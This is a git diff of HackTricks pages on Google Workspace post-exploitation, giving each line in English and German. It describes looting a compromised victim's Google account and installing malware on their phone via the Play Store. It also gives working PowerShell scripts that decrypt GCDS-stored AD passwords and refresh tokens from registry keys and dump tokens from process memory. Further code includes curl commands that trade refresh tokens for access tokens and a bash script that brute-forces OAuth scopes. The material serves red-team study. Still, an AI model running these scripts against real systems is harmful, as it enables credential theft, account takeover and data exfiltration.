Wenn Sie eine **Sitzung im Google-Konto des Opfers** haben, können Sie zum **Play Store** browsen und möglicherweise **Malware installieren**, die Sie bereits im Store hochgeladen haben, direkt **auf das Telefon**, um Persistenz aufrechtzuerhalten und auf das Telefon des Opfers zuzugreifen.
## **Persistence via** App Scripts
## **Persistenz über** App-Skripte
You can create **time-based triggers** in App Scripts, so if the App Script is accepted by the user, it will be **triggered** even **without the user accessing it**. For more information about how to do this check:
Sie können **zeitbasierte Trigger** in App-Skripten erstellen, sodass, wenn das App-Skript vom Benutzer akzeptiert wird, es **ausgelöst** wird, selbst **ohne dass der Benutzer darauf zugreift**. Für weitere Informationen darüber, wie Sie dies tun können, überprüfen Sie:
{{#ref}}
gws-google-platforms-phishing/gws-app-scripts.md
{{#endref}}
## References
## Referenzen
- [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Matthew Bryant - Hacking G Suite: The Power of Dark Apps Script Magic
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch and Beau Bullock - OK Google, How do I Red Team GSuite?
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch und Beau Bullock - OK Google, wie mache ich Red Team GSuite?
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -4,14 +4,14 @@
## Google Groups Privesc
By default in workspace a **group** can be **freely accessed** by any member of the organization.\
Workspace also allow to **grant permission to groups** (even GCP permissions), so if groups can be joined and they have extra permissions, an attacker may **abuse that path to escalate privileges**.
Standardmäßig kann in Workspace eine **Gruppe** von jedem Mitglied der Organisation **frei zugegriffen** werden.\
Workspace erlaubt auch, **Berechtigungen für Gruppen zu gewähren** (sogar GCP-Berechtigungen), sodass, wenn Gruppen beigetreten werden können und sie zusätzliche Berechtigungen haben, ein Angreifer diesen Weg **ausnutzen kann, um Privilegien zu eskalieren**.
You potentially need access to the console to join groups that allow to be joined by anyone in the org. Check groups information in [**https://groups.google.com/all-groups**](https://groups.google.com/all-groups).
Sie benötigen möglicherweise Zugriff auf die Konsole, um Gruppen beizutreten, die von jedem in der Organisation beigetreten werden können. Überprüfen Sie die Gruppeninformationen unter [**https://groups.google.com/all-groups**](https://groups.google.com/all-groups).
### Access Groups Mail info
### Zugriff auf Gruppen-Mail-Informationen
If you managed to **compromise a google user session**, from [**https://groups.google.com/all-groups**](https://groups.google.com/all-groups) you can see the history of mails sent to the mail groups the user is member of, and you might find **credentials** or other **sensitive data**.
Wenn Sie es geschafft haben, eine **Google-Benutzersitzung zu kompromittieren**, können Sie von [**https://groups.google.com/all-groups**](https://groups.google.com/all-groups) die Historie der an die Mailgruppen gesendeten Mails sehen, deren Mitglied der Benutzer ist, und Sie könnten **Anmeldeinformationen** oder andere **sensible Daten** finden.
## GCP <--> GWS Pivoting
@@ -19,60 +19,56 @@ If you managed to **compromise a google user session**, from [**https://groups.g
../gcp-security/gcp-to-workspace-pivoting/
{{#endref}}
## Takeout - Download Everything Google Knows about an account
## Takeout - Alles herunterladen, was Google über ein Konto weiß
If you have a **session inside victims google account** you can download everything Google saves about that account from [**https://takeout.google.com**](https://takeout.google.com/u/1/?pageId=none)
Wenn Sie eine **Sitzung im Google-Konto des Opfers** haben, können Sie alles herunterladen, was Google über dieses Konto speichert, von [**https://takeout.google.com**](https://takeout.google.com/u/1/?pageId=none)
## Vault - Download all the Workspace data of users
## Vault - Alle Workspace-Daten der Benutzer herunterladen
If an organization has **Google Vault enabled**, you might be able to access [**https://vault.google.com**](https://vault.google.com/u/1/) and **download** all the **information**.
Wenn eine Organisation **Google Vault aktiviert** hat, könnten Sie in der Lage sein, auf [**https://vault.google.com**](https://vault.google.com/u/1/) zuzugreifen und alle **Informationen** **herunterzuladen**.
## Contacts download
## Kontakte herunterladen
From [**https://contacts.google.com**](https://contacts.google.com/u/1/?hl=es&tab=mC) you can download all the **contacts** of the user.
Von [**https://contacts.google.com**](https://contacts.google.com/u/1/?hl=es&tab=mC) können Sie alle **Kontakte** des Benutzers herunterladen.
## Cloudsearch
In [**https://cloudsearch.google.com/**](https://cloudsearch.google.com) you can just search **through all the Workspace content** (email, drive, sites...) a user has access to. Ideal to **quickly find sensitive information**.
In [**https://cloudsearch.google.com/**](https://cloudsearch.google.com) können Sie einfach **durch alle Workspace-Inhalte** (E-Mail, Drive, Sites...) suchen, auf die ein Benutzer Zugriff hat. Ideal, um **sensible Informationen schnell zu finden**.
## Google Chat
In [**https://mail.google.com/chat**](https://mail.google.com/chat) you can access a Google **Chat**, and you might find sensitive information in the conversations (if any).
In [**https://mail.google.com/chat**](https://mail.google.com/chat) können Sie auf einen Google **Chat** zugreifen, und Sie könnten in den Gesprächen (falls vorhanden) sensible Informationen finden.
## Google Drive Mining
When **sharing** a document you can **specify** the **people** that can access it one by one, **share** it with your **entire company** (**or** with some specific **groups**) by **generating a link**.
Beim **Teilen** eines Dokuments können Sie die **Personen** angeben, die darauf zugreifen können, oder es mit Ihrer **gesamten Firma** (**oder** mit bestimmten **Gruppen**) durch **Erzeugen eines Links** **teilen**.
When sharing a document, in the advance setting you can also **allow people to search** for this file (by **default** this is **disabled**). However, it's important to note that once users views a document, it's searchable by them.
Beim Teilen eines Dokuments können Sie in den erweiterten Einstellungen auch **erlauben, dass Personen** nach dieser Datei suchen (standardmäßig ist dies **deaktiviert**). Es ist jedoch wichtig zu beachten, dass, sobald Benutzer ein Dokument anzeigen, es für sie durchsuchbar ist.
For sake of simplicity, most of the people will generate and share a link instead of adding the people that can access the document one by one.
Zur Vereinfachung werden die meisten Menschen einen Link generieren und teilen, anstatt die Personen, die auf das Dokument zugreifen können, einzeln hinzuzufügen.
Some proposed ways to find all the documents:
Einige vorgeschlagene Möglichkeiten, um alle Dokumente zu finden:
- Search in internal chat, forums...
- **Spider** known **documents** searching for **references** to other documents. You can do this within an App Script with[ **PaperChaser**](https://github.com/mandatoryprogrammer/PaperChaser)
- In internen Chats, Foren... suchen
- **Spider** bekannte **Dokumente** nach **Referenzen** zu anderen Dokumenten durchsuchen. Dies können Sie innerhalb eines App-Skripts mit [**PaperChaser**](https://github.com/mandatoryprogrammer/PaperChaser) tun.
## **Keep Notes**
In [**https://keep.google.com/**](https://keep.google.com) you can access the notes of the user, **sensitive** **information** might be saved in here.
In [**https://keep.google.com/**](https://keep.google.com) können Sie auf die Notizen des Benutzers zugreifen, **sensible** **Informationen** könnten hier gespeichert sein.
### Modify App Scripts
### App-Skripte ändern
In [**https://script.google.com/**](https://script.google.com/) you can find the APP Scripts of the user.
In [**https://script.google.com/**](https://script.google.com/) finden Sie die APP-Skripte des Benutzers.
## **Administrate Workspace**
## **Workspace verwalten**
In [**https://admin.google.com**/](https://admin.google.com), you might be able to modify the Workspace settings of the whole organization if you have enough permissions.
In [**https://admin.google.com**/](https://admin.google.com) könnten Sie in der Lage sein, die Workspace-Einstellungen der gesamten Organisation zu ändern, wenn Sie genügend Berechtigungen haben.
You can also find emails by searching through all the user's invoices in [**https://admin.google.com/ac/emaillogsearch**](https://admin.google.com/ac/emaillogsearch)
Sie können auch E-Mails finden, indem Sie durch alle Rechnungen des Benutzers in [**https://admin.google.com/ac/emaillogsearch**](https://admin.google.com/ac/emaillogsearch) suchen.
## References
## Referenzen
- [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Matthew Bryant - Hacking G Suite: The Power of Dark Apps Script Magic
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch and Beau Bullock - OK Google, How do I Red Team GSuite?
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch und Beau Bullock - OK Google, Wie mache ich Red Team GSuite?
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -4,12 +4,12 @@
## GCPW - Google Credential Provider for Windows
This is the single sign-on that Google Workspaces provides so users can login in their Windows PCs using **their Workspace credentials**. Moreover, this will store **tokens** to access Google Workspace in some places in the PC: Disk, memory & the registry... it's even possible to obtain the **clear text password**.
Dies ist die Single Sign-On-Lösung, die Google Workspaces bereitstellt, damit Benutzer sich mit **ihren Workspace-Anmeldeinformationen** an ihren Windows-PCs anmelden können. Darüber hinaus werden **Tokens** zum Zugriff auf Google Workspace an einigen Stellen im PC gespeichert: Festplatte, Speicher & die Registrierung... es ist sogar möglich, das **Klartextpasswort** zu erhalten.
> [!TIP]
> Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GCPW**, get information about the configuration and **even tokens**.
> Beachten Sie, dass [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) in der Lage ist, **GCPW** zu erkennen, Informationen über die Konfiguration zu erhalten und **sogar Tokens**.
Find more information about this in:
Weitere Informationen dazu finden Sie in:
{{#ref}}
gcpw-google-credential-provider-for-windows.md
@@ -17,14 +17,14 @@ gcpw-google-credential-provider-for-windows.md
## GCSD - Google Cloud Directory Sync
This is a tool that can be used to **sync your active directory users and groups to your Workspace** (and not the other way around by the time of this writing).
Dies ist ein Tool, das verwendet werden kann, um **Ihre Active Directory-Benutzer und -Gruppen mit Ihrem Workspace zu synchronisieren** (und nicht umgekehrt zum Zeitpunkt dieses Schreibens).
It's interesting because it's a tool that will require the **credentials of a Workspace superuser and privileged AD user**. So, it might be possible to find it inside a domain server that would be synchronising users from time to time.
Es ist interessant, weil es ein Tool ist, das die **Anmeldeinformationen eines Workspace-Superusers und eines privilegierten AD-Benutzers** erfordert. Daher könnte es möglich sein, es auf einem Domänenserver zu finden, der von Zeit zu Zeit Benutzer synchronisiert.
> [!TIP]
> Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GCDS**, get information about the configuration and **even the passwords and encrypted credentials**.
> Beachten Sie, dass [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) in der Lage ist, **GCDS** zu erkennen, Informationen über die Konfiguration zu erhalten und **sogar die Passwörter und verschlüsselten Anmeldeinformationen**.
Find more information about this in:
Weitere Informationen dazu finden Sie in:
{{#ref}}
gcds-google-cloud-directory-sync.md
@@ -32,14 +32,14 @@ gcds-google-cloud-directory-sync.md
## GPS - Google Password Sync
This is the binary and service that Google offers in order to **keep synchronized the passwords of the users between the AD** and Workspace. Every-time a user changes his password in the AD, it's set to Google.
Dies ist die Binärdatei und der Dienst, den Google anbietet, um die **Passwörter der Benutzer zwischen dem AD** und Workspace synchronisiert zu halten. Jedes Mal, wenn ein Benutzer sein Passwort im AD ändert, wird es an Google gesendet.
It gets installed in `C:\Program Files\Google\Password Sync` where you can find the binary `PasswordSync.exe` to configure it and `password_sync_service.exe` (the service that will continue running).
Es wird in `C:\Program Files\Google\Password Sync` installiert, wo Sie die Binärdatei `PasswordSync.exe` zur Konfiguration und `password_sync_service.exe` (der Dienst, der weiterhin läuft) finden können.
> [!TIP]
> Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GPS**, get information about the configuration and **even the passwords and encrypted credentials**.
> Beachten Sie, dass [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) in der Lage ist, **GPS** zu erkennen, Informationen über die Konfiguration zu erhalten und **sogar die Passwörter und verschlüsselten Anmeldeinformationen**.
Find more information about this in:
Weitere Informationen dazu finden Sie in:
{{#ref}}
gps-google-password-sync.md
@@ -47,16 +47,12 @@ gps-google-password-sync.md
## Admin Directory Sync
The main difference between this way to synchronize users with GCDS is that GCDS is done manually with some binaries you need to download and run while **Admin Directory Sync is serverless** managed by Google in [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
Der Hauptunterschied zwischen dieser Methode zur Synchronisierung von Benutzern mit GCDS besteht darin, dass GCDS manuell mit einigen Binärdateien durchgeführt wird, die Sie herunterladen und ausführen müssen, während **Admin Directory Sync serverlos** von Google in [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories) verwaltet wird.
Find more information about this in:
Weitere Informationen dazu finden Sie in:
{{#ref}}
gws-admin-directory-sync.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,30 +2,29 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Grundinformationen
This is a tool that can be used to **sync your active directory users and groups to your Workspace** (and not the other way around by the time of this writing).
Dies ist ein Tool, das verwendet werden kann, um **Ihre Active Directory-Benutzer und -Gruppen mit Ihrem Workspace zu synchronisieren** (und nicht umgekehrt zum Zeitpunkt des Schreibens).
It's interesting because it's a tool that will require the **credentials of a Workspace superuser and privileged AD user**. So, it might be possible to find it inside a domain server that would be synchronising users from time to time.
Es ist interessant, weil es ein Tool ist, das die **Anmeldeinformationen eines Workspace-Superusers und eines privilegierten AD-Benutzers** erfordert. Daher könnte es möglich sein, es auf einem Domänenserver zu finden, der von Zeit zu Zeit Benutzer synchronisiert.
> [!NOTE]
> To perform a **MitM** to the **`config-manager.exe`** binary just add the following line in the `config.manager.vmoptions` file: **`-Dcom.sun.net.ssl.checkRevocation=false`**
> Um einen **MitM** auf die **`config-manager.exe`**-Binärdatei durchzuführen, fügen Sie einfach die folgende Zeile in die Datei `config.manager.vmoptions` ein: **`-Dcom.sun.net.ssl.checkRevocation=false`**
> [!TIP]
> Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GCDS**, get information about the configuration and **even the passwords and encrypted credentials**.
> Beachten Sie, dass [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) in der Lage ist, **GCDS** zu erkennen, Informationen über die Konfiguration zu erhalten und **sogar die Passwörter und verschlüsselten Anmeldeinformationen**.
Also note that GCDS won't synchronize passwords from AD to Workspace. If something it'll just generate random passwords for newly created users in Workspace as you can see in the following image:
Beachten Sie auch, dass GCDS keine Passwörter von AD zu Workspace synchronisiert. Wenn überhaupt, generiert es einfach zufällige Passwörter für neu erstellte Benutzer in Workspace, wie Sie im folgenden Bild sehen können:
<figure><img src="../../../images/telegram-cloud-photo-size-4-5780773316536156543-x.jpg" alt="" width="515"><figcaption></figcaption></figure>
### GCDS - Disk Tokens & AD Credentials
### GCDS - Festplattentoken & AD-Anmeldeinformationen
The binary `config-manager.exe` (the main GCDS binary with GUI) will store the configured Active Directory credentials, the refresh token and the access by default in a **xml file** in the folder **`C:\Program Files\Google Cloud Directory Sync`** in a file called **`Untitled-1.xml`** by default. Although it could also be saved in the `Documents` of the user or in **any other folder**.
Die Binärdatei `config-manager.exe` (die Haupt-GCDS-Binärdatei mit GUI) speichert standardmäßig die konfigurierten Active Directory-Anmeldeinformationen, das Aktualisierungstoken und den Zugriff in einer **xml-Datei** im Ordner **`C:\Program Files\Google Cloud Directory Sync`** in einer Datei namens **`Untitled-1.xml`**. Obwohl es auch im `Documents`-Ordner des Benutzers oder in **irgendeinem anderen Ordner** gespeichert werden könnte.
Moreover, the registry **`HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui`** inside the key **`open.recent`** contains the paths to all the recently opened configuration files (xmls). So it's possible to **check it to find them**.
The most interesting information inside the file would be:
Darüber hinaus enthält die Registrierung **`HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui`** innerhalb des Schlüssels **`open.recent`** die Pfade zu allen kürzlich geöffneten Konfigurationsdateien (xmls). Es ist also möglich, **es zu überprüfen, um sie zu finden**.
Die interessantesten Informationen in der Datei wären:
```xml
[...]
<loginMethod>OAUTH2</loginMethod>
@@ -50,13 +49,11 @@ The most interesting information inside the file would be:
<authCredentialsEncrypted>XMmsPMGxz7nkpChpC7h2ag==</authCredentialsEncrypted>
[...]
```
Note how the **refresh** **token** and the **password** of the user are **encrypted** using **AES CBC** with a randomly generated key and IV stored in **`HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util`** (wherever the **`prefs`** Java library store the preferences) in the string keys **`/Encryption/Policy/V2.iv`** and **`/Encryption/Policy/V2.key`** stored in base64.
Beachten Sie, wie das **refresh** **token** und das **password** des Benutzers mit **AES CBC** unter Verwendung eines zufällig generierten Schlüssels und IV, die in **`HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util`** gespeichert sind (wo auch immer die **`prefs`** Java-Bibliothek die Einstellungen speichert), in den String-Schlüsseln **`/Encryption/Policy/V2.iv`** und **`/Encryption/Policy/V2.key`** in base64 gespeichert sind.
<details>
<summary>Powershell script to decrypt the refresh token and the password</summary>
<summary>Powershell-Skript zum Entschlüsseln des Refresh-Tokens und des Passworts</summary>
```powershell
# Paths and key names
$xmlConfigPath = "C:\Users\c\Documents\conf.xml"
@@ -66,34 +63,34 @@ $keyKeyName = "/Encryption/Policy/V2.key"
# Open the registry key
try {
$regKey = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey($regPath)
if (-not $regKey) {
Throw "Registry key not found: HKCU\$regPath"
}
$regKey = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey($regPath)
if (-not $regKey) {
Throw "Registry key not found: HKCU\$regPath"
}
}
catch {
Write-Error "Failed to open registry key: $_"
exit
Write-Error "Failed to open registry key: $_"
exit
}
# Get Base64-encoded IV and Key from the registry
try {
$ivBase64 = $regKey.GetValue($ivKeyName)
$ivBase64 = $ivBase64 -replace '/', ''
$ivBase64 = $ivBase64 -replace '\\', '/'
if (-not $ivBase64) {
Throw "IV not found in registry"
}
$keyBase64 = $regKey.GetValue($keyKeyName)
$keyBase64 = $keyBase64 -replace '/', ''
$keyBase64 = $keyBase64 -replace '\\', '/'
if (-not $keyBase64) {
Throw "Key not found in registry"
}
$ivBase64 = $regKey.GetValue($ivKeyName)
$ivBase64 = $ivBase64 -replace '/', ''
$ivBase64 = $ivBase64 -replace '\\', '/'
if (-not $ivBase64) {
Throw "IV not found in registry"
}
$keyBase64 = $regKey.GetValue($keyKeyName)
$keyBase64 = $keyBase64 -replace '/', ''
$keyBase64 = $keyBase64 -replace '\\', '/'
if (-not $keyBase64) {
Throw "Key not found in registry"
}
}
catch {
Write-Error "Failed to read registry values: $_"
exit
Write-Error "Failed to read registry values: $_"
exit
}
$regKey.Close()
@@ -118,25 +115,25 @@ $encryptedPasswordBytes = [Convert]::FromBase64String($encryptedPasswordBase64)
# Function to decrypt data using AES CBC
Function Decrypt-Data($cipherBytes, $keyBytes, $ivBytes) {
$aes = [System.Security.Cryptography.Aes]::Create()
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$aes.KeySize = 256
$aes.BlockSize = 128
$aes.Key = $keyBytes
$aes.IV = $ivBytes
$aes = [System.Security.Cryptography.Aes]::Create()
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$aes.KeySize = 256
$aes.BlockSize = 128
$aes.Key = $keyBytes
$aes.IV = $ivBytes
$decryptor = $aes.CreateDecryptor()
$memoryStream = New-Object System.IO.MemoryStream
$cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Write)
$cryptoStream.Write($cipherBytes, 0, $cipherBytes.Length)
$cryptoStream.FlushFinalBlock()
$plaintextBytes = $memoryStream.ToArray()
$decryptor = $aes.CreateDecryptor()
$memoryStream = New-Object System.IO.MemoryStream
$cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Write)
$cryptoStream.Write($cipherBytes, 0, $cipherBytes.Length)
$cryptoStream.FlushFinalBlock()
$plaintextBytes = $memoryStream.ToArray()
$cryptoStream.Close()
$memoryStream.Close()
$cryptoStream.Close()
$memoryStream.Close()
return $plaintextBytes
return $plaintextBytes
}
# Decrypt the values
@@ -150,23 +147,21 @@ $decryptedPassword = [System.Text.Encoding]::UTF8.GetString($decryptedPasswordBy
Write-Host "Decrypted Refresh Token: $refreshToken"
Write-Host "Decrypted Password: $decryptedPassword"
```
</details>
> [!NOTE]
> Note that it's possible to check this information checking the java code of **`DirSync.jar`** from **`C:\Program Files\Google Cloud Directory Sync`** searching for the string `exportkeys` (as thats the cli param that the binary `upgrade-config.exe` expects to dump the keys).
> Beachten Sie, dass es möglich ist, diese Informationen zu überprüfen, indem Sie den Java-Code von **`DirSync.jar`** aus **`C:\Program Files\Google Cloud Directory Sync`** durchsuchen und nach der Zeichenfolge `exportkeys` suchen (da dies der CLI-Parameter ist, den die Binärdatei `upgrade-config.exe` erwartet, um die Schlüssel auszugeben).
Instead of using the powershell script, it's also possible to use the binary **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** with the param `-exportKeys` and get the **Key** and **IV** from the registry in hex and then just use some cyberchef with AES/CBC and that key and IV to decrypt the info.
Anstelle des Powershell-Skripts ist es auch möglich, die Binärdatei **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** mit dem Parameter `-exportKeys` zu verwenden und den **Key** und **IV** aus der Registrierung im Hex-Format abzurufen und dann einfach CyberChef mit AES/CBC sowie diesem Schlüssel und IV zu verwenden, um die Informationen zu entschlüsseln.
### GCDS - Dumping tokens from memory
### GCDS - Tokens aus dem Speicher dumpen
Just like with GCPW, it's possible to dump the memory of the process of the `config-manager.exe` process (it's the name of the GCDS main binary with GUI) and you will be able to find refresh and access tokens (if they have been generated already).\
I guess you could also find the AD configured credentials.
Genau wie bei GCPW ist es möglich, den Speicher des Prozesses `config-manager.exe` (das ist der Name der Haupt-Binärdatei von GCDS mit GUI) zu dumpen, und Sie werden in der Lage sein, Refresh- und Access-Token zu finden (wenn sie bereits generiert wurden).\
Ich schätze, Sie könnten auch die konfigurierten AD-Anmeldeinformationen finden.
<details>
<summary>Dump config-manager.exe processes and search tokens</summary>
<summary>Dump config-manager.exe Prozesse und nach Tokens suchen</summary>
```powershell
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
@@ -175,13 +170,13 @@ $dumpFolder = "C:\Users\Public\dumps"
# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)
# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
New-Item -Path $dumpFolder -ItemType Directory
}
# Get all Chrome process IDs
@@ -189,96 +184,92 @@ $chromeProcesses = Get-Process -Name "config-manager" -ErrorAction SilentlyConti
# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}
# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {
foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {
$matches = Select-String -Path $file -Pattern $regex -AllMatches
$matches = Select-String -Path $file -Pattern $regex -AllMatches
$uniqueMatches = @{}
$uniqueMatches = @{}
foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText = $matchInfo.Line.Trim()
FilePath = $matchInfo.Path
}
}
}
}
foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText = $matchInfo.Line.Trim()
FilePath = $matchInfo.Path
}
}
}
}
foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}
foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}
Write-Output ""
}
Write-Output ""
}
}
Remove-Item -Path $dumpFolder -Recurse -Force
```
</details>
### GCDS - Generating access tokens from refresh tokens
Using the refresh token it's possible to generate access tokens using it and the client ID and client secret specified in the following command:
### GCDS - Zugriffstoken aus Aktualisierungstoken generieren
Mit dem Aktualisierungstoken ist es möglich, Zugriffstoken zu generieren, indem es zusammen mit der Client-ID und dem Client-Geheimnis verwendet wird, die im folgenden Befehl angegeben sind:
```bash
curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
https://www.googleapis.com/oauth2/v4/token
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
https://www.googleapis.com/oauth2/v4/token
```
### GCDS - Scopes
> [!NOTE]
> Note that even having a refresh token, it's not possible to request any scope for the access token as you can only requests the **scopes supported by the application where you are generating the access token**.
> Beachten Sie, dass es selbst mit einem Refresh-Token nicht möglich ist, einen beliebigen Scope für das Access-Token anzufordern, da Sie nur die **Scopes anfordern können, die von der Anwendung unterstützt werden, in der Sie das Access-Token generieren**.
>
> Also, the refresh token is not valid in every application.
> Außerdem ist das Refresh-Token nicht in jeder Anwendung gültig.
By default GCSD won't have access as the user to every possible OAuth scope, so using the following script we can find the scopes that can be used with the `refresh_token` to generate an `access_token`:
Standardmäßig hat GCSD nicht als Benutzer Zugriff auf jeden möglichen OAuth-Scope. Mit dem folgenden Skript können wir die Scopes finden, die mit dem `refresh_token` verwendet werden können, um ein `access_token` zu generieren:
<details>
<summary>Bash script to brute-force scopes</summary>
<summary>Bash-Skript zum Brute-Forcen von Scopes</summary>
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope \r"
if ! curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03PR0VQOSCjS1CgYIARAAGAMSNwF-L9Ir5b_vOaCmnXzla0nL7dX7TJJwFcvrfgDPWI-j19Z4luLpYfLyv7miQyvgyXjGEXt-t0A" \
--data "scope=$scope" \
https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
echo ""
echo $scope
echo $scope >> /tmp/valid_scopes.txt
fi
echo -ne "Testing $scope \r"
if ! curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03PR0VQOSCjS1CgYIARAAGAMSNwF-L9Ir5b_vOaCmnXzla0nL7dX7TJJwFcvrfgDPWI-j19Z4luLpYfLyv7miQyvgyXjGEXt-t0A" \
--data "scope=$scope" \
https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
echo ""
echo $scope
echo $scope >> /tmp/valid_scopes.txt
fi
done
echo ""
@@ -287,11 +278,9 @@ echo "Valid scopes:"
cat /tmp/valid_scopes.txt
rm /tmp/valid_scopes.txt
```
</details>
And this is the output I got at the time of the writing:
Und dies ist die Ausgabe, die ich zum Zeitpunkt des Schreibens erhalten habe:
```
https://www.googleapis.com/auth/admin.directory.group
https://www.googleapis.com/auth/admin.directory.orgunit
@@ -302,43 +291,36 @@ https://www.googleapis.com/auth/apps.groups.settings
https://www.googleapis.com/auth/apps.licensing
https://www.googleapis.com/auth/contacts
```
#### Create a user and add it into the group `gcp-organization-admins` to try to escalate in GCP
